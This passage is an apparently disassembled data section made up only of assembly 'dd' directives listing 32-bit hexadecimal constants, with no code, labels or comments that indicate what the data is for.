		dd 7FC18299h, 86916193h, 8F086256h, 0C01489F7h,	89D76AF1h
		dd 4C8B8077h, 0A5150A10h, 4660A768h, 70BF6379h,	0EB838FE3h
		dd 0BDE0D340h, 6195E098h, 0EFBCD1AFh, 20A2E571h, 16FF9953h
		dd 85E3500Fh, 9E6FADD4h, 0AB944A86h, 0BF74C0F7h, 0C6D01C10h
		dd 0D1A292E1h, 68BBDCDAh, 88F71B9h, 350C19Ch, 0DDEA7655h
		dd 19CD1F7Ah, 59162214h, 87BA29CDh, 37860692h, 0CF59F280h
		dd 1EE5649Fh, 33DB6235h, 0CD1969B0h, 8A7FAFF5h,	7ED9DB03h
		dd 615C5898h, 36661FD0h, 855D0BA9h, 772C8B8Dh, 93F39A04h
		dd 5B6AF923h, 0E8139937h, 2B0F24D0h, 13090DD3h,	0EC2C15h
		dd 80A92F4Dh, 8D32C6C9h, 0B6D66D7Ch, 646988C5h,	21D9460Ch
		dd 0BD2F509Dh, 0EECD8EB6h, 7C79C755h, 0AE8220h,	0D53E648Dh
		dd 0C512FEE2h, 3E527D9Eh, 776E86F1h, 5B54F171h,	0F547535Ch
		dd 16E2AA0Bh, 6D4EB9A1h, 0CC4D7445h, 159946BFh,	0B6AB84A7h
		dd 8CCB87A0h, 28633441h, 829053E3h, 704C509h, 66A9D959h
		dd 54AC4C71h, 6DF5E781h, 49CCA8F0h, 436C1470h, 0A30634C8h
		dd 0F5BA15E4h, 108B6253h, 3461DEA3h, 971794B1h,	0C154D8FFh
		dd 0AB65D817h, 0B1387E3Bh, 0DA1BC475h, 0F2B0E1D3h, 70C685B4h
		dd 0E135F84Ah, 45C55596h, 435A7BE3h, 0F8FC0D0Fh, 0DD2B7CD8h
		dd 0EA9E030Dh, 1C77F40h, 5747EE13h, 9BD47F85h, 3B8D6FEh
		dd 5271B069h, 48A1AB15h, 2D772464h, 4B9D6A70h, 4F9758A0h
		dd 0ED36F6D8h, 0F6D37E75h, 1E8FD8FEh, 0D2D353D4h, 0D2904321h
		dd 0BCAADCE7h, 0E95035CCh, 685F8712h, 3A3C51CBh, 2573D85Ah
		dd 71BA9923h, 0EA46816Ch, 9E328D5Bh, 0ECE6AC9h,	0DCAA6830h
		dd 0F39DD262h, 6DE605EDh, 0C95F8FE4h, 0D0946197h, 18804DE4h
		dd 0F76E1A22h, 0E7D8166Dh, 0DC8B8D5Dh, 0B7A58BE7h, 0AFD29600h
		dd 97BABA23h, 58B8240h,	0C88E45D4h, 2DF01617h, 928646E4h
		dd 52AEC5EAh, 0F7ACE83Fh, 7BC756F8h, 4ADE6DC7h,	22D06C99h
		dd 0CC7F5B96h, 1313F87h, 0C98CC0E9h, 17CBAE3Dh,	8BF88377h
		dd 0E9BEDF88h, 0E24D2808h, 7916AA05h, 520C6575h, 649D308Eh
		dd 3001C185h, 6A0D397h,	0FE43FBE5h, 4A5E067Bh, 657AF2E6h
		dd 0B2246977h, 0B55900FCh, 7446945Ah, 42079D6Eh, 4E0C4339h
		dd 0C2309FB7h, 55B6935Ah, 6BDF8CF7h, 0E518BA03h, 0BCCB7925h
		dd 32FB7ED2h, 10BDE8EFh, 8DDE37B8h, 3EECE6F2h, 451B3D85h
		dd 2F83CF46h, 8664D89Dh, 7ED9290Dh, 1522BDA0h, 4A6A55BDh
		dd 0C32B26B7h, 361B97B0h, 0B5625C9Dh, 393F93B6h, 0F999659Dh
		dd 4094DCC8h, 6FBF0261h, 6B279CDCh, 62903A95h, 0D354FDB6h
		dd 24CFAFABh, 0D985927h, 65977C42h, 4D3AF6A1h, 3A69F7BAh
		dd 8F008021h, 463C6E63h, 11A8D5DBh, 0B4904643h,	0C01490CAh
		dd 84FDBF2Dh, 0F9F8A684h, 0C8F75F78h, 30229D7Fh, 0D2EEAEEEh
		dd 1F46BDDh, 0FB140EB8h, 48E67226h, 0F1C03729h,	0B80DAB44h
		dd 9C70BAF0h, 7C59B82h,	214807DCh, 0C9C50484h, 0AEDB7388h
		dd 89E25846h, 8FDE0297h, 0BEEAAF84h, 4701E19h, 0FA5F6B7Eh
		dd 1F377FEAh, 0B59098B6h, 494B9538h, 0D6E51683h, 0B7A9679Fh
		dd 0B727B332h, 9BEC7BDBh, 4C69A56Bh, 9A1B773Dh,	56384357h
		dd 3CD2C72Ch, 0D86CB8C7h, 0EC70ABC0h, 0AC0E0ADh, 0E21C3349h
		dd 1C9AB3A7h, 0B4762875h, 9E498790h, 7FEE8CE5h,	0ED697AE5h
		dd 4B22FB5h, 84F19DBFh,	1845F178h, 3CC770CDh, 84C81634h
		dd 8389EF17h, 89849A49h, 0D8BADA10h, 0CC8E097h,	8C203A43h
		dd 118EBE20h, 4399413h,	0F471751Eh, 0E82FB402h,	0CF1A4E03h
		dd 9936BBEBh, 59739E8Eh, 0C88280E3h, 0F1A6442Ah, 55AB37CBh
		dd 0DCC984E9h, 3DB73951h, 72F1B403h, 4802B05Eh,	0D71466F7h
		dd 698842CFh, 4F5AD966h, 0C354B6Ah, 1B1C4F30h, 87686425h
		dd 69C0AF7Dh, 3F03DF26h, 0E3EF9E60h, 0F8AEEB17h, 8CF5B7C7h
		dd 26668C70h, 4CE9125Fh, 0A502EA1Bh, 0A554DB61h, 155050E4h
		dd 0FD824C4Fh, 9F3D0D86h, 0E2D1A362h, 5084AF9Dh, 43552779h
		dd 31760BFDh, 2E58F16Eh, 8D71FD17h, 5B79B1C5h, 0BB30CE43h
		dd 0B0FF248Ch, 80B624ACh, 0A6F815B0h, 36C9D49Eh, 438BF80Fh
		dd 1782E700h, 1C4FDF48h, 515DC6BFh, 0D8D9C6AFh,	0CF4D2616h
		dd 265D80EFh, 581283DEh, 97E3A144h, 0A16C383Bh,	3793F5AFh
		dd 0CA157158h, 585C49ADh, 0F22A122Ah, 6A77207Eh, 7E6AF4DFh
		dd 0DD43AA85h, 8590C92Fh, 0B79D483h, 0A6928B6Fh, 6168E103h
		dd 653C3C5Fh, 0DE96292Dh, 348E98DCh, 1D1741E4h,	89DB700Fh
		dd 0A417ED77h, 3CF365D5h, 0B108CEABh, 7D50A4Eh,	0B47E23EBh
		dd 0CACB581Fh, 6C389EA8h, 0A42E740Ch, 1BBB9E76h, 4094C190h
		dd 9D0CA8C3h, 399FF7C5h, 0B6A9392Ah, 0EF43FFCBh, 0D19127FEh
		dd 1C0D02DCh, 0A65AF6DEh, 6F1538A8h, 0D79F54C5h, 8A9D6A8Eh
		dd 768B1F2Dh, 5E9B5B89h, 9961E123h, 15FEF245h, 7971FE49h
		dd 0FEF78421h, 1D538E14h, 11AFB53Eh, 61B72291h,	68485432h
		dd 0CCDB8D71h, 0CA499FAAh, 31613591h, 421429FAh, 0B9174770h
		dd 1D070882h, 3EC0504Fh, 5CC85F6Ah, 0D304604Eh,	789AA02Ah
		dd 0A4836266h, 8977C1Fh, 481A43CEh, 9429C363h, 0BF9A9043h
		dd 0B4CABB26h, 0B59BBE72h, 3A1D1D31h, 5B580DE1h, 33764D68h
		dd 0A41406B8h, 2FE7D449h, 6766FCCCh, 2D7AB68Bh,	0C923AC63h
		dd 61BEE3CBh, 95F945C8h, 243F5B71h, 3F8F829Dh, 74FE61F3h
		dd 971E684Dh, 0CCAC8077h, 0F18559C8h, 571B2365h, 0A6F0A780h
		dd 0ADC9A72Ah, 6665AAF6h, 0C3CB07B8h, 7D34CD1Fh, 4D0C8F26h
		dd 89849F6Bh, 32FA9582h, 2F05CD1Ch, 58C3EC7h, 7A7B2B21h
		dd 546DF3D0h, 1DA043C5h, 0F1A34417h, 923EA1E8h,	95244E9Ch
		dd 73D8E2ACh, 3C3751BCh
		dd 73777Fh, 0F93D3D6Ah,	0F561AF80h, 548FC5B2h, 876BD4C1h
		dd 0F871F866h, 0EB9FB519h, 90338E04h, 66BBC64Fh, 3780B754h
		dd 82B32964h, 8C3912DDh, 2AC2833h, 0BE8AAE39h, 0CB95EE87h
		dd 5644695Dh, 34968F0h,	0D30D1E88h, 3EBEC092h, 0BB68E1E7h
		dd 4CB15503h, 32E2E7B9h, 0FA753369h, 0D36C72C1h, 0EB99765Ah
		dd 78F0Dh, 0C673914h, 0D56F273Bh, 0FB73FD42h, 0E3CC4132h
		dd 0C258640Fh, 793FD131h, 6099364Bh, 98EDF052h,	0D5F1DB22h
		dd 0F04BC6F7h, 0D2F4AEB0h, 6BE26FE3h, 2DEEE14h,	1F105363h
		dd 9C49DCDBh, 93C1701h,	5F3053AEh, 0A6A15874h, 0F62986CFh
		dd 0BD4541B1h, 0E09D202Eh, 0B8FA060Ah, 7594C8E0h, 0D99D0D82h
		dd 0DCDE26FEh, 5546EF2Eh, 2B8642B7h, 98AB4872h,	3D226D2Dh
		dd 0C3597A71h, 0F8B9F313h, 0D35CBB3Ah, 1A84874Dh, 14605D9Eh
		dd 7A289FAFh, 610DF182h, 73D4F17Ch, 0FA1E46B0h,	0B68F0B54h
		dd 0C6923FA6h, 0E0E11D29h, 0A55813DDh, 0CF76B1B9h, 0F54980E4h
		dd 0D19A7FC1h, 4E81C8CFh, 96647AE9h, 7BE9FC34h,	54D8CAC4h
		dd 0CB24AA4Bh, 475BA9FCh, 93F79E97h, 0DED1FE60h, 0E2AB6782h
		dd 4DC1478Eh, 0A6769F56h, 43792FEBh, 0D4615706h, 0F2613023h
		dd 63F8C4BEh, 0B5EC3BA7h, 24BE9BFAh, 0BC83AE90h, 0E5C8E158h
		dd 161122B6h, 4F039B81h, 0FD4E9716h, 0F8A4F3F9h, 30A63892h
		dd 743DAAE3h, 0A3BBE452h, 0CE60A111h, 0D6B4CE05h, 0A2E4DBFAh
		dd 4E4F2176h, 82C6DF9Fh, 0E3E7F407h, 9A3D4437h,	0A3A498A7h
		dd 0B822A7BDh, 0F4EE8F0Eh, 0E02B38AAh, 4DFD4C95h, 0DC0E42CCh
		dd 3B0DF71h, 8DB06666h,	42F4F441h, 149FC29Dh, 57DACAE1h
		dd 61BAA570h, 7E0529D0h, 39B82FBFh, 5F734E32h, 5EFAB5AEh
		dd 6404B03h, 2CCA7572h,	7A49463Dh, 2B2305D4h, 4B91C54Bh
		dd 0E973C88Ch, 95AA7117h, 0B2526FF5h, 7AA4C137h, 0C9272AEEh
		dd 5E45D2A7h, 0A9B6F211h, 8855289Bh, 0D1993548h, 0CA32C8ADh
		dd 76B9614Bh, 87EF8764h, 6E9CF7B8h, 0EFE66F01h,	0B56ED7BFh
		dd 0D074EFD7h, 39D00902h, 4E2CFD4Dh, 3369CE60h,	0D78FB8Ah
		dd 203FE892h, 6F4324D5h, 0C654C236h, 9F10764Ch,	0FCB159CAh
		dd 5F3636ABh, 9E4E6D63h, 96F84B7Ch, 0A72FCB42h,	4E3463D5h
		dd 4663D6C0h, 5A8EE6A8h, 7C2E83C9h, 0C6529D3h, 0A490382Ch
		dd 4459DC24h, 0DBD2306Ah, 0CC856161h, 0D14AEBB1h, 6B8CE1F9h
		dd 80321520h, 4312DDEBh, 1174A899h, 0A00932E3h,	6937959Bh
		dd 0B44FCC43h, 0CF379CD8h, 0C28D8E2Fh, 0CF329DAh, 1AEE9628h
		dd 5F6E31B9h, 0C88937D7h, 0BF511289h, 63559802h, 2B1ECF78h
		dd 0FFE3A732h, 0EB5629B9h, 0A8E5E051h, 92CEAD10h, 17C82189h
		dd 0E5FF9FD2h, 39F64139h, 0F4E5C5DBh, 0F498F7C1h, 6815790Bh
		dd 544C1CB3h, 38920CB2h, 173B2407h, 0D05EEADBh,	0A516ACE9h
		dd 3B84BDB9h, 0CC8354BDh, 0B4881DBDh, 0D8515D71h, 32A45CC8h
		dd 0F849556h, 3799BE2Ch, 936E85EFh, 5CCBFD1Fh, 0A75A3CB3h
		dd 21CE24B1h, 6114792Fh, 4662ADAAh, 0EA95C437h,	3095F1BDh
		dd 0D581050Dh, 0D5584CE5h, 210E9529h, 0FC1A9EAAh, 51379ED8h
		dd 4154BA1Eh, 0BAAF76DCh, 0BEAE19DFh, 0AB01BBFAh, 0E8DFF93Ah
		dd 92B7F0BAh, 0DB961078h, 584DD2F0h, 0E4471F0Bh, 0C2D019B9h
		dd 9806337Bh, 9BBF23CEh, 6B9A730Eh, 0B4DD99F4h,	49ECF976h
		dd 3C0D7FE0h, 0B4A53D23h, 0F1D2F685h, 182DEB42h, 0E25F05FDh
		dd 3FE7CFB9h, 0F72CC514h, 0E300C246h, 81EBB018h, 7B37D4D6h
		dd 0F27FF5Eh, 7DAA7D4Ah, 5A7BD9A4h, 4F764FFFh, 7E154641h
		dd 9A4C253Eh, 85D64384h, 567039F1h, 4D9735C4h, 21196576h
		dd 26692D8Dh, 339B3235h, 83DE5E76h, 1C60BE48h, 0BAAFA3E2h
		dd 0B90545B9h, 0A7ED2142h, 801AA0D3h, 0CCB28FEh, 8E984770h
		dd 58C09441h, 1285540Ch, 86E373CEh, 0A25B3265h,	0BB4F56DAh
		dd 8A713430h, 4C135484h, 0E58A1FD6h, 0FB57E255h, 0E564C808h
		dd 82AA985Ch, 0CB64C7E3h, 4706C9CAh, 351BD836h,	0DB4743F9h
		dd 15FF0749h, 137D9AADh, 42412626h, 0D050CB3Ch,	5ADEA5D1h
		dd 3C1FC73Fh, 0B1ABF0F2h, 0BC4DAAB1h, 966AA546h, 9AB8C1CCh
		dd 7C11EF96h, 0F685602Ah, 0B13FF6D8h, 891E09D7h, 4FFE38BEh
		dd 0C7F8B83h, 0ACF01A84h, 6A148DBEh, 0DA5ABC73h, 0C2EA87D3h
		dd 0DE4C536Ch, 9A712DE3h, 0A962E93Ch, 79D11823h, 4C6F89C4h
		dd 0C0B89550h, 49B17FA2h, 416505B0h, 97B0DB43h,	0B8FD65Fh
		dd 0CE5070F9h, 0B2F501CEh, 0F8D55CD4h, 7140CA3Ah, 0BDA1C81Dh
		dd 0ADFEE424h, 0E0E5B08Eh, 2CE44419h, 6C9A6220h, 9B27F1E3h
		dd 16610025h, 61B7B0D5h, 2A2D4D6Ch, 0DCB69E19h,	695E34B5h
		dd 8EA04DF3h, 85F12895h, 9F383099h, 0EE72A08h, 0B406E156h
		dd 9C829280h, 0AC1D15AAh, 5FB7F4D8h, 5B28696Ch,	60C8E796h
		dd 2FDA4A68h, 0FBA10A7Ch, 7F0F2B0Ah, 0B2A9078Ch, 0E102A735h
		dd 0E51BE631h, 0C6DC8480h, 0F6DBBDF2h, 7A5D8B51h, 3C67AADDh
		dd 1ADB35EBh, 0AA09E26h, 0CBA01E80h, 24A0A2DEh,	8EF7AD88h
		dd 28D20062h, 0E7ED0882h, 3A88DC0Ah, 0CDEC4BF9h, 44B50CFFh
		dd 0C541977h, 20D2A281h, 5A20946Eh, 870E89B4h, 72F4C47Dh
		dd 0C56FC733h, 0EFF9865Ah, 8335CE87h, 0C178F3DEh, 2252C78Ah
		dd 7F3789B3h, 177A3D35h, 756C65A6h, 67FA79DDh, 0E7715B15h
		dd 5D351C5Eh, 0DD8DABB8h, 0FDD4A849h, 9D290E0h,	8B2493Eh
		dd 16972366h, 5ECD686h,	2E12D28Eh, 379A14B7h, 0C4524D26h
		dd 950CF65Fh, 0FD739F00h, 1E9EEE28h, 49009BB6h,	5FAFE64Ah
		dd 18776093h, 1A6959D8h, 0EE4BF1Ch, 0FFE83D2h, 8A66E9F2h
		dd 0BD06AA21h, 3940EB9Bh, 37AFCE27h, 6349EF88h,	0B072B9CBh
		dd 9DAFC4A3h, 2A292530h, 2108E880h, 9C3EA6D4h, 92761087h
		dd 0CF099339h, 55D8DEEEh, 30801A71h, 98EA46F6h,	0F82AAEF9h
		dd 127352DCh, 7BB22Fh, 238AEF84h, 0EAB6EFD6h, 1AF3657Bh
		dd 0A7AD9E5Eh, 31EFE526h, 15686E87h, 684F6D19h,	0D75A6015h
		dd 12C785F2h, 1B92DF78h, 0DA2EF436h, 0C02EDFB4h, 2BAA30B2h
		dd 7DC02765h, 2CCF9C6Ah, 4497F2C2h, 0CEA1071Bh,	2985E162h
		dd 3C2EFFBBh, 51C449C2h, 12781237h, 0F287D00h, 9B1E5915h
		dd 0C8F35497h, 0F9790C52h, 0D7ADD7B3h, 244B2926h, 6D63880Ch
		dd 23A56282h, 74AD3522h, 0E3283E51h, 0B7E50C3Ah, 7495C223h
		dd 9D802FDh, 87C44AA2h,	786737D9h, 0AA303F10h, 5E1CE626h
		dd 0FFCC1721h, 76E8FD2Ah, 22A2A700h, 9C0635BCh,	6630CAECh
		dd 911AF894h, 0F5081E4Fh, 0E013CF49h, 619D580Fh, 5C8F8497h
		dd 9EDE406Ah, 0D80EB070h, 524587D9h, 60C097D0h,	3FC2A15Fh
		dd 3FF13BAFh, 1221E7F2h, 7F277B40h, 9B38B1E5h, 965C905Ch
		dd 252F645h, 0B70239CFh, 1F6409D0h, 0CDBB9037h,	8E26F089h
		dd 170600BDh, 919BA619h, 5223B3FBh, 55EC05F8h, 0F4EEA5FAh
		dd 8FEE16B8h, 0EC265B57h, 964FF999h, 5FE06598h,	0DE69B7C9h
		dd 9C8704D8h, 341A3488h, 5018ECD9h, 85058CF2h, 0D94DE1A7h
		dd 9BA0DEB5h, 278B3FCh,	53B1058h, 1BCD6114h, 95F7FE48h
		dd 0B4CFC9D9h, 377E1A7Ah, 0AC891079h, 60128E87h, 0C157C02Fh
		dd 48344809h, 0BF8AF4BDh, 2CFC6480h, 56BCF9A4h,	78840D06h
		dd 0A2C4A08Bh, 62B3CFE9h, 5BADEADCh, 0CF0C1261h, 0B2DF01A2h
		dd 0B7BD0090h, 31F45807h, 59BC4D2Ch, 40958ED7h,	0E237CD84h
		dd 0BC9E440Ch, 3E3B2A53h, 0D75F5D96h, 0EA8BB887h, 4817A22Bh
		dd 0B3DAEAC7h, 0A84069EEh
		dd 0AFF7B8D9h, 0BE6E3E29h, 0BE612ADDh, 9063E732h, 4A0991BAh
		dd 656A974Ch, 0EAD77BBBh, 0C660317Fh, 5FBCACFCh, 0CD689AFEh
		dd 31ACFA7Ch, 0BC55B315h, 2C2A5366h, 24BEBD75h,	28A948EEh
		dd 2C1BFBF4h, 1E757DF0h, 0EC76E5A7h, 9D2051ECh,	92CC3E1Eh
		dd 42DF7E5Dh, 8055D3Fh,	0C8F99205h, 5812F75Eh, 2188346Fh
		dd 9B156636h, 5B7FAB41h, 0C7FAC541h, 384F866Ah,	0DC60A78Ch
		dd 9CA25898h, 12E717h, 879EF1A9h, 0C42858B7h, 39E11108h
		dd 26FF721Bh, 0F5C079F9h, 52575CC4h, 20A1A3F5h,	0A9ACE22Ah
		dd 75DBDEA9h, 0C3B9DEBh, 29A0C4B4h, 79623271h, 97E5EF34h
		dd 0E58BC26Fh, 0CF90507Ch, 0D134F087h, 0DFCCE55Ch, 490E80A8h
		dd 446285D1h, 0EE2C0BA5h, 0E58512D5h, 2FF9925Ch, 1F39CA5Ah
		dd 76741A1Ah, 64ABDA16h, 0CF771504h, 0A92D523Bh, 0BF62403Eh
		dd 0E601BFB8h, 0AB57942Fh, 0F46FB992h, 1F94FE98h, 0AFA87B07h
		dd 4C4F84B4h, 14887F9Bh, 147254B3h, 387F276Dh, 0FF563428h
		dd 4A26D7FEh, 6C2F0C80h, 3B0CB1DFh, 0B2BA6DA7h,	1CA56FACh
		dd 64E2CEA2h, 0F4B457BCh, 6124E448h, 0ED15DAFDh, 1422642Ch
		dd 96D86751h, 2A42E735h, 2FD36206h, 0B8E6999Dh,	8CB762B6h
		dd 0CA16227Ah, 7F976295h, 1A475F26h, 2A6CE0DBh,	17B8357Dh
		dd 71B6757Fh, 717FA3B6h, 4375F662h, 98FBD941h, 3F5F9190h
		dd 2BBEECD5h, 0A12B9D5Eh, 5FC32EA5h, 10BE3DAEh,	7BB5FD1Bh
		dd 8033C2BFh, 51FDA096h, 3ACD9754h, 1CB13165h, 3814C062h
		dd 5ED137C8h, 0B8D81C2Ch, 23718235h, 3FAC1BA3h,	0D276035h
		dd 0CD5182AFh, 0BC0B386Eh, 0B424C7EFh, 53DC6012h, 5C92A5F7h
		dd 1C9926EEh, 0EA5CC78Fh, 933A5937h, 0F85AA58Bh, 90B2BF81h
		dd 374A56A0h, 70A9F4C2h, 0F9E13B99h, 0D4B88C9Dh, 4FB487BBh
		dd 0D14505BEh, 67DA200Fh, 45898E63h, 9432A787h,	7A84ACD5h
		dd 58235151h, 2126C615h, 0C82B7BA5h, 0EAC644EEh, 0B923837h
		dd 979AD969h, 0B700A0C5h, 778783EDh, 0BA2DD60Dh, 31686788h
		dd 7E7BD4D5h, 83B6C9F5h, 9642743Fh, 40BA634Fh, 5AA48DAFh
		dd 0A5CEC78h, 659E3CF7h, 1AC22A3Ch, 0BF0F4B40h,	0AAFEAE0Eh
		dd 2CF95078h, 0BD9793CDh, 2460CDB8h, 264C79Dh, 0F26AB1C3h
		dd 0EC7C5D3Bh, 68BC6D1Ah, 9F5023C4h, 0ED7B5E7Eh, 0D6672C12h
		dd 5C5F39E1h, 0C4A8B8C1h, 0E5551611h, 277ADC4Bh, 0D600BDA8h
		dd 0D641BBA2h, 0E04DDCCBh, 0EDE9E9D4h, 80C834F3h, 0D4A66B1Fh
		dd 9FBA8168h, 7CE0F14Dh, 27145DE0h, 7F6488AAh, 9C264B43h
		dd 143AABE1h, 0AF4C36F1h, 0C1BBE167h, 5AC5509Bh, 0D4B41074h
		dd 8117740Fh, 0B7D15EB4h, 2CBBCBA4h, 0B67013A1h, 289F4D4Dh
		dd 8EA20D28h, 0C968C184h, 15EB6Bh, 0DD2E178Ch, 0F9F99036h
		dd 7D1487ADh, 0BDB72276h, 0C0B8F243h, 8FBA4CCEh, 0B85E20F5h
		dd 2219CF41h, 2CDC6E5Eh, 0E3595EF2h, 3132D63Dh,	47C9518Eh
		dd 0B24782D6h, 89A3DF88h, 0FA34D90Eh, 889EB289h, 0F8E09CDDh
		dd 41D264C7h, 0B9668087h, 51321761h, 0D87C8833h, 8E340AEBh
		dd 90FB009h, 62A8A8C6h,	0C2E1E587h, 0AC3101CEh,	0A3E7394Ah
		dd 0B4FC6E0Eh, 1C166470h, 951DA88Ah, 0E2F07E30h, 55CA81CFh
		dd 525709DAh, 3B7A949Eh, 0E3559389h, 28DD712Ah,	0F53484D8h
		dd 139FA9EBh, 0F4DD6D1Ch, 0AF4511A8h, 930FC01Bh, 434E4ABCh
		dd 12ADDE8Ch, 79397425h, 0E743671Eh, 0CAF76AEAh, 3B7B6B69h
		dd 0ADFFA2A0h, 8A35EE01h, 0BD9F4820h, 0F76D12FCh, 0E8EADF64h
		dd 0F5077156h, 66884168h, 528E0D3h, 0C8E338A4h,	0F2B61FFAh
		dd 79E37DBDh, 2C343B15h, 26D639DDh, 4A6665F9h, 0B6381845h
		dd 1D1DCE1Ch, 3B10888Fh, 34ECD224h, 0CD18EC5Eh,	0B16B71C5h
		dd 5A431CEEh, 48CC3AC1h, 0AD1E9B71h, 8ABC160Ch,	7F02DB05h
		dd 74C67484h, 5E4DCBD6h, 0B1BAD00Dh, 32EDFD17h,	0CD990CFFh
		dd 0DDA649BEh, 29C61CC9h, 0CDBD0F5Bh, 17341A99h, 0E1C1E513h
		dd 0F4786EC8h, 8F8F7303h, 0E7CC887Ch, 2E721BE2h, 2DD0A2E6h
		dd 0D2496FDCh, 1DF6E687h, 4AC429h, 852D147Ah, 0ABE2613Eh
		dd 9C85B4A5h, 0EADDF1DBh, 0D565ACF6h, 508095C7h, 0D5DF49FAh
		dd 0EC746172h, 0EB936112h, 0F8BB907h, 5A5AD915h, 374DA7C6h
		dd 0C3291ABCh, 9F0CE6C8h, 71F217FEh, 0DF5D331Dh, 8F1F17E7h
		dd 0BB2D2DBFh, 0AD43881Fh, 964733A7h, 0ED8C4F46h, 0F916D50Bh
		dd 0BCD3650Ah, 3ADD3BAEh, 0CA51589h, 0B2657CE5h, 0C91E0863h
		dd 7FF50F4Fh, 0ED6E8F29h, 0C43EA79Bh, 4E64CB15h, 0F426AEFh
		dd 455A8A27h, 31D79BD9h, 54B7CE62h, 53289E6Ch, 2E2B68FFh
		dd 0DA9BD1D3h, 89A8B97Bh, 0C4E33FAFh, 4129E781h, 984A2147h
		dd 0F28EB7A8h, 49A2278Ch, 81621DB7h, 0CF9CAAE4h, 0CA00D10Dh
		dd 2340EADDh, 0C9EC13A8h, 5EB90B0Fh, 697F1C14h,	0AFB00291h
		dd 0DA79E543h, 6DD9BF9Bh, 0E8BFA15Bh, 0F25B5B8Eh, 398DB06Bh
		dd 8C1B4183h, 6CD0A10Ch, 71ABC714h, 0D70B2B4h, 347B36B7h
		dd 13967F6Eh, 56E25686h, 0CAC42113h, 846FC72h, 3D10492Ch
		dd 980EA9F3h, 7DD28127h, 47352AB4h, 84A7B5Fh, 65091E2Eh
		dd 0BC91137Ah, 647EDF42h, 0E821E3D2h, 0C44FA7A0h, 83BC91ADh
		dd 201482F2h, 0C8314D01h, 746CF68Eh, 8B02D21Dh,	9351AE24h
		dd 302564D4h, 0B70C84EFh, 0D9FBB9CFh, 0BD75F1D4h, 1EC8B2D6h
		dd 0A73CB44Dh, 0D562A6E8h, 0AB263684h, 21CBD329h, 132E78B9h
		dd 270E4A8Bh, 68501BA3h, 51DE4E64h, 4E69E57Ch, 99EC2146h
		dd 57291350h, 0E8E176F8h, 4F7F0CD3h, 26AFE3DAh,	0D438EE27h
		dd 6856CC44h, 39F02105h, 0EA7C858Bh, 7E35D9B3h,	8A6639EFh
		dd 0EC479DBBh, 0B33384C6h, 0C40076E6h, 0A9CBD65h, 83C10C75h
		dd 0CB278026h, 5627E690h, 768E3A27h, 0AE274EAFh, 0A9984E4h
		dd 807F40B0h, 772219FCh, 920C681Bh, 0E338EA29h,	0CD37D270h
		dd 8A37A2FFh, 4F14C022h, 2FC9B409h, 0CC0DF260h,	70F8A53Ch
		dd 45D35869h, 0ECF8AEB7h, 85399A5Ah, 1B3E966h, 0DD15475Bh
		dd 0DC3A1232h, 0C031D803h, 0C50CFD1Bh, 0E6176433h, 402FD871h
		dd 8BDE6919h, 3F0E2C81h, 19ABA03Fh, 0E5615FABh,	3B71D9B4h
		dd 1D9BAA11h, 0D3682DBh, 0F987E78Fh, 8BDBD7CBh,	0A5F9684Ah
		dd 1A852141h, 0ABB83FDEh, 17F5DBCBh, 4A149ED2h,	87E316C4h
		dd 9E60EA63h, 844374C6h, 63CCBF82h, 30292C99h, 6B758886h
		dd 2BD00157h, 104C8442h, 23F9F4FAh, 14FA6C1Eh, 9351BE38h
		dd 0BE6E2FE9h, 84A11AA1h, 0CA516C0Eh, 0F951AF62h, 0E1D2FD04h
		dd 45C0ED27h, 0F6E65FFFh, 1C9D62Eh, 528EF0E1h, 0DEAAC613h
		dd 5AC938FDh, 0CF4710E7h, 0BF2DB4C4h, 2E9C5F99h, 12F5BB06h
		dd 742B088Fh, 81281D78h, 502EFA8Bh, 4C40CF7Eh, 29542A15h
		dd 3CFAF59Eh, 0B1D8A09Fh, 0B2FCF60Eh, 0CB1CBE96h, 1FB868E3h
		dd 0AC7660Ch, 8C803789h, 0B1FC1812h, 2002AE20h,	5AD4D1A7h
		dd 0A8813E80h, 8C701D7h, 0B70EE05Ch, 186A48BDh,	33024C8h
		dd 7C122D8Ah, 8130163Eh, 0DA4AE51Eh, 0A0D1B837h, 7329427h
		dd 0AEDFF4FFh, 486E099Fh, 0E46A4D99h, 2E39DCACh, 8C902059h
		dd 14ACA1ACh, 1F760490h, 0BB3EFDF1h, 8CD3F64Fh,	0C332B3FAh
		dd 0C13A66D3h, 0C25FF913h, 0B578C1D8h, 91E44B3Dh, 4BDB4823h
		dd 40064310h, 9E0FF235h, 720F46C4h, 2C84C740h, 0D19A0EF5h
		dd 0CDE685Ch, 0F46A3762h, 540FB0C7h, 9BEB113Fh,	0BEB39105h
		dd 0A7F839C3h, 7783CD17h, 8D4C93DCh, 5CAAA05h, 40A286F7h
		dd 0E3FB1C38h, 0C88D3551h
		dd 0B71B718Bh, 56700E2Ch, 3C9B4233h, 146845E3h,	18431617h
		dd 0F7A48B9Dh, 0F8D83A05h, 0F659A7C6h, 70DE4AC4h, 0AE3F2FBAh
		dd 0F289194Fh, 0BD264F34h, 69E431D6h, 745B46EAh, 2642E525h
		dd 38D560CEh, 1A17A8D0h, 1E2E3FBEh, 4195014Eh, 0ED7FB235h
		dd 0E90D7821h, 9C48807Dh, 7D2DA740h, 6721C5E7h,	0A4E74398h
		dd 2E737EB3h, 36B000Dh,	3319DE2Bh, 48F23067h, 0BB74EFBCh
		dd 782A986h, 322E4B28h,	89C05402h, 0DFC0740h, 4566FA1Bh
		dd 50B44C79h, 4C12D04Ch, 6702C593h, 0F6480199h,	0CB9D0700h
		dd 0E8A06000h, 0E21FAE30h, 80C21839h, 1AF15D52h, 26DEEF24h
		dd 0ADA71BAEh, 0BD16A77h, 31CC1FD8h, 8DCEC3C1h,	435E8E0Ch
		dd 79FBA44Bh, 6C28D9D5h, 0B97FFB21h, 98A9EBA7h,	48DD7180h
		dd 644300CCh, 0F70A36A1h, 5E8FD3D4h, 15B81EDFh,	1E480664h
		dd 5FA74C5Fh, 0C29F2CDEh, 0A3A6F9C9h, 443158ADh, 115A215Ch
		dd 802373E9h, 868EF103h, 0ECB3B212h, 73849395h,	47D67DDBh
		dd 8F777179h, 974503C4h, 3713B231h, 94FD33Fh, 0ED265F9Dh
		dd 0D017148Eh, 468538EEh, 78C63641h, 92A41ABh, 5C260119h
		dd 0B895D7DBh, 7A5DE4D6h, 77F45AFAh, 0DC842Ch, 36DCA6A4h
		dd 4F4F79C9h, 5AA42A46h, 6F40DB23h, 25CF93D3h, 30E216D9h
		dd 1F45301h, 7521E5CAh,	1BEF8E43h, 6ED85143h, 359A2107h
		dd 7B349A58h, 0E41F41A0h, 17CD12Bh, 0D265A5A6h,	91A43BF1h
